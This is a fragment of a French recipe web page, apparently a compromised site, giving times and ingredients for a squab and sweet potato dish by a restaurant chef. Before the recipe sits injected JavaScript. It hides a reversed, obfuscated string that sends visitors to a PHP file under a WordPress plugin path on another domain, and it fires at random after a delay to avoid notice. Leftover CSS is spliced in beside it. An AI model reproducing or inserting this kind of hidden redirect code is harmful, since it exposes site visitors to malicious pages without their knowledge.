) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1558807588990{padding-top: 10px !important;padding-right: 10px !important;padding-bottom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Par RAK Maryan, membre des bonnes tables du lot (http://www.bonnestables-lot.fr/) chef du restaurant « La bergerie » à St pierre lafeuille – http://www.labergerie-lot.com

 

Recette
Temps de préparation : 25 min

Temps de cuisson : 15 min

Ingrédient :
• 1 pigeonneau
• Graisse de canard
• Fond de pigeon
• Herbes
• Huile d’olive
• Patate douce blanche
• 100 cl de crème
• Sel & poivre